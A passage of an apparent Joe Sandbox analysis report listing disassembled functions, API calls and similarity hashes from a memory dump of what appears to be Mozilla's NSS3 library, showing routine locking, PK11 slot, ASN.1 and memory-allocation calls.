Instruction ID: 7c6d2eb3ee8b6947e192195eb3afa566d9036a963f676e48d7d949650c94b350
Opcode Fuzzy Hash: e283f2c6005fd468db6a6227fef60255b5d291a1a8d625c087d40bab860e45a5
Instruction Fuzzy Hash: 67718DB69043019FD700CF26D840A5BFBF5BF88358F148929E899A3B11E731F959CB92

Function 6D03DD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6D03DD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6D03DDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6D03DE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6D03DE77

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: a92881b661e82e011e28e3d45d9e81d73781351cef6e1834badd7b287aa7b0ab
Instruction ID: c5d0aed7c0d754b34c9764abc72d7134a6a5e0602fc55f68520dbf6456c2e264
Opcode Fuzzy Hash: a92881b661e82e011e28e3d45d9e81d73781351cef6e1834badd7b287aa7b0ab
Instruction Fuzzy Hash: 4C713471A04326CFEB10DF9AC5C079ABBF4BF89714F56806DD9596B202D770A941CFA0

Function 6CFADFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6CFAAB10: DeleteCriticalSection.KERNEL32(D958E852,6CFB1397,5B5F5EC0,?,?,6CFAB1EE,2404110F,?,?), ref: 6CFAAB3C
Part of subcall function 6CFAAB10: free.MOZGLUE(D958E836,?,6CFAB1EE,2404110F,?,?), ref: 6CFAAB49
Part of subcall function 6CFAAB10: DeleteCriticalSection.KERNEL32(5D5E6D1A), ref: 6CFAAB5C
Part of subcall function 6CFAAB10: free.MOZGLUE(5D5E6D0E), ref: 6CFAAB63
Part of subcall function 6CFAAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CFAAB6F
Part of subcall function 6CFAAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CFAAB76

TlsGetValue.KERNEL32(?,?,6CFAB266,6CFB15C6,?,?,6CFB15C6), ref: 6CFADFDA
EnterCriticalSection.KERNEL32(?,?,?,6CFAB266,6CFB15C6,?,?,6CFB15C6), ref: 6CFADFF3
PK11_IsFriendly.NSS3(?,?,?,?,6CFAB266,6CFB15C6,?,?,6CFB15C6), ref: 6CFAE029
PK11_IsLoggedIn.NSS3 ref: 6CFAE046

Part of subcall function 6CFB8F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CFADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFB8FAF
Part of subcall function 6CFB8F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CFADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFB8FD1
Part of subcall function 6CFB8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CFADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFB8FFA
Part of subcall function 6CFB8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CFADA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CFB9013
Part of subcall function 6CFB8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CFADA9B,?,00000000,?,?,?,?,CE534353), ref: 6CFB9042
Part of subcall function 6CFB8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CFADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CFB905A
Part of subcall function 6CFB8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CFADA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CFB9073
Part of subcall function 6CFB8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CFADA9B,?,00000000,?,?,?,?,CE534353), ref: 6CFB9111

PR_Unlock.NSS3(?,?,?,?,6CFAB266,6CFB15C6,?,?,6CFB15C6), ref: 6CFAE149

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: adab549145c43f0a71f624183b16535952587268ea90182c1732c55de146a5dc
Instruction ID: cf7acca04bb03caf9ee5d64f7509d2729f33bf2f7d70d96fd75c3462b549ecda
Opcode Fuzzy Hash: adab549145c43f0a71f624183b16535952587268ea90182c1732c55de146a5dc
Instruction Fuzzy Hash: 53513774600611CFDB10DFA9C58476AFBF0BF88318F1A896CD8998B751D731E896CB92

Function 6CFBBE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6CFBBF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFBBF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF99F71,?,?,00000000), ref: 6CFBBF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6CFBBFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CFBC014

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 4c50db42123619ebaa224f80c0ae631270ddb7345189c0941bc1d8bd9f5e2071
Instruction ID: 16f4134d6c18f128e95dc688fbb5b12d84c9e0caa72ee37fe54c482b2b430093
Opcode Fuzzy Hash: 4c50db42123619ebaa224f80c0ae631270ddb7345189c0941bc1d8bd9f5e2071
Instruction Fuzzy Hash: 4441C375A012069BEB00CEA7DC80BABB7B9AF44248F114528ED19E7B41FB31D905CB91

Function 6CF8EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CF8EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CF8EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CF8EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CF8EEEB
free.MOZGLUE(?), ref: 6CF8EEF6

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 522dc740f4d56772449e7ac401f1e88536a0c6b784e74e51df9907cf55b3971d
Instruction ID: 1d4fb544f185c09cf366ea673b77bc41cb101df864887295bf1854722195fb31
Opcode Fuzzy Hash: 522dc740f4d56772449e7ac401f1e88536a0c6b784e74e51df9907cf55b3971d
Instruction Fuzzy Hash: 82314C765012019BEB209F2CDC44BAB7BF4FB46304F160628E95AC7A51D731E414CBF1

Function 6CFA1F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CFA1F1C

Part of subcall function 6CFF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CF987ED,00000800,6CF8EF74,00000000), ref: 6CFF1000
Part of subcall function 6CFF0FF0: PR_NewLock.NSS3(?,00000800,6CF8EF74,00000000), ref: 6CFF1016
Part of subcall function 6CFF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CF987ED,00000008,?,00000800,6CF8EF74,00000000), ref: 6CFF102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6D0B9EBC), ref: 6CFA1FB8
SEC_ASN1EncodeItem_Util.NSS3(6D0B9E9C,?,?,6D0B9E9C), ref: 6CFA200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CFA2020

Part of subcall function 6CF96A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CF9AD50,?,?), ref: 6CF96A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CFA2030

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 48215f186c47be988393f37cc8e90aef24a854b49607f284b4b45b804d5643e0
Instruction ID: c53acf3357df03803234f96f6b8e0145fd5e21f75ebb694051aa494ef6fd2000
Opcode Fuzzy Hash: 48215f186c47be988393f37cc8e90aef24a854b49607f284b4b45b804d5643e0
Instruction Fuzzy Hash: 6F213676901502FBFB004A56EC40FABBB68FF4531CF148210E93C92B80E732E52AC7A1

Function 6CFD1EA0 Relevance: 7.6, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,?,6CFB6295,?,00000000,00000000,00000001,6CFD2653,?), ref: 6CFD1ECB

Part of subcall function 6D03C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D03C2BF

TlsGetValue.KERNEL32(?,00000001,?,?,6CFB6295,?,00000000,00000000,00000001,6CFD2653,?), ref: 6CFD1EF1
EnterCriticalSection.KERNEL32(?), ref: 6CFD1F01
PR_SetError.NSS3(00000000,00000000), ref: 6CFD1F39

Part of subcall function 6CFDFE20: TlsGetValue.KERNEL32(6CFB5ADC,?,00000000,00000001,?,?,00000000,?,6CFABA55,?,?), ref: 6CFDFE4B
Part of subcall function 6CFDFE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CFDFE5F

PR_Unlock.NSS3(?), ref: 6CFD1F67

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID:
API String ID: 704537481-0
Opcode ID: 2248a0be92bdcbc288f967bbe17447b576dbedb423c11843fd2fe0c07accb4cf
Instruction ID: 3fe5f41d1e9e979bf47baf991edafa157c023756929a5f628907a956179a0a03
Opcode Fuzzy Hash: 2248a0be92bdcbc288f967bbe17447b576dbedb423c11843fd2fe0c07accb4cf
Instruction Fuzzy Hash: 9121CE76A04215ABEB009F29EC45B9A3769AF85378F1E8124FD0887711EB31F95086A2

Function 6CF91DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CF91E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CF91E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF91E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CF91E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CF91EAD

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 1f309b69f2c5d6ef2506a6f455df433e90a90dd3fdb59bc43277e2a4a085178f
Instruction ID: 693ca4f0993c546fda3ac0bdb8f67078190b8d4b6409d7ffe33737edb25717a7
Opcode Fuzzy Hash: 1f309b69f2c5d6ef2506a6f455df433e90a90dd3fdb59bc43277e2a4a085178f
Instruction Fuzzy Hash: 3721F576E08325A7FB009E68DC40B9BB398DB84368F158638ED6957780E731E91587D2

Function 6D0A1E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6D0A1E5C

Part of subcall function 6D059BF0: TlsGetValue.KERNEL32(?,?,?,6D0A0A75), ref: 6D059C07

PR_Lock.NSS3(00000000), ref: 6D0A1E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6D0A1EAB
PR_GetCurrentThread.NSS3 ref: 6D0A1ED0
PR_Unlock.NSS3(?), ref: 6D0A1EE8

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 87a577599209e2cdb9eeaf4b5e3d66a8b87bf896c6eed74f82060c8bfa42256c
Instruction ID: fa702943643440de83a09685b10574121649dd20e45f3d94e32cd21e65871ba7
Opcode Fuzzy Hash: 87a577599209e2cdb9eeaf4b5e3d66a8b87bf896c6eed74f82060c8bfa42256c
Instruction Fuzzy Hash: F4219D74A18522ABFB10CF98D940B16B7F5FF44714B2A8229D9159B742D730FC60CBD2

Function 6CFEBE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CF9E708,00000000,00000000,00000004,00000000), ref: 6CFEBE6A

Part of subcall function 6CFF0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CFF08B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CFA04DC,?), ref: 6CFEBE7E

Part of subcall function 6CFEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CFE8D2D,?,00000000,?), ref: 6CFEFB85
Part of subcall function 6CFEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CFEFBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CFEBEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CFA04DC,?,?), ref: 6CFEBED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CFEBEEB

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 6a4884381627a9121e81a3846ef4ea8196996ca1a64b55c7efba27a45464dd0d
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: 88113166A0439677E71089A5AC80FAB736E9B88758F050921FE0483A62E731DC0487E9

Function 6CF9AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CF93FFF,00000000,?,?,?,?,?,6CF91A1C,00000000,00000000), ref: 6CF9ADA7

Part of subcall function 6CFF14C0: TlsGetValue.KERNEL32 ref: 6CFF14E0
Part of subcall function 6CFF14C0: EnterCriticalSection.KERNEL32 ref: 6CFF14F5
Part of subcall function 6CFF14C0: PR_Unlock.NSS3 ref: 6CFF150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CF93FFF,00000000,?,?,?,?,?,6CF91A1C,00000000,00000000), ref: 6CF9ADB4

Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF10F3
Part of subcall function 6CFF10C0: EnterCriticalSection.KERNEL32(?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF110C
Part of subcall function 6CFF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1141
Part of subcall function 6CFF10C0: PR_Unlock.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1182
Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CF93FFF,?,?,?,?,6CF93FFF,00000000,?,?,?,?,?,6CF91A1C,00000000), ref: 6CF9ADD5

Part of subcall function 6CFEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CFE8D2D,?,00000000,?), ref: 6CFEFB85
Part of subcall function 6CFEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CFEFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6D0B94B0,?,?,?,?,?,?,?,?,6CF93FFF,00000000,?), ref: 6CF9ADEC

Part of subcall function 6CFEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D0C18D0,?), ref: 6CFEB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CF93FFF), ref: 6CF9AE3C

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 7c2b981d5ee3b4e054aed21d50711cb7dc78b7371b7e16e1047157d14133c346
Instruction ID: a36ade0f93e2ad6caa4b3443e96895141141192f2c7e278fb2ce107373ceeadd
Opcode Fuzzy Hash: 7c2b981d5ee3b4e054aed21d50711cb7dc78b7371b7e16e1047157d14133c346
Instruction Fuzzy Hash: 4B115E71E003196BFB109B659C40BBF73F8DF9524CF044229EC1997641FB21E55986E2

Function 6CFB8E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CFD2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CFA4F1C), ref: 6CFB8EA2

Part of subcall function 6CFDF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CFDF854
Part of subcall function 6CFDF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CFDF868
Part of subcall function 6CFDF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CFDF882
Part of subcall function 6CFDF820: free.MOZGLUE(04C483FF,?,?), ref: 6CFDF889
Part of subcall function 6CFDF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CFDF8A4
Part of subcall function 6CFDF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CFDF8AB
Part of subcall function 6CFDF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CFDF8C9
Part of subcall function 6CFDF820: free.MOZGLUE(280F10EC,?,?), ref: 6CFDF8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CFD2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CFA4F1C), ref: 6CFB8EC3
TlsGetValue.KERNEL32(?,?,?,6CFD2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CFA4F1C), ref: 6CFB8EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CFD2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CFB8EF1
PR_Unlock.NSS3 ref: 6CFB8F20

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: ef53ed41b96351ec981256c2338e9607314a0823cc22e59cdf73084c1bf76f07
Instruction ID: 7894a04070bc5290d68c826e0b1bb7dd1c91f52b9e722830a0667db7239c156c
Opcode Fuzzy Hash: ef53ed41b96351ec981256c2338e9607314a0823cc22e59cdf73084c1bf76f07
Instruction Fuzzy Hash: D0218D749097069FD700AF2AD084699BBF4FF88318F45456EEC98ABB41D730E854CBD2

Function 6CFA8FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CFB0710), ref: 6CFA8FF1
PR_CallOnce.NSS3(6D0F2158,6CFA9150,00000000,?,?,?,6CFA9138,?,6CFB0710), ref: 6CFA9029
calloc.MOZGLUE(00000001,00000000,?,?,6CFB0710), ref: 6CFA904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CFB0710), ref: 6CFA9066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CFB0710), ref: 6CFA9078

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
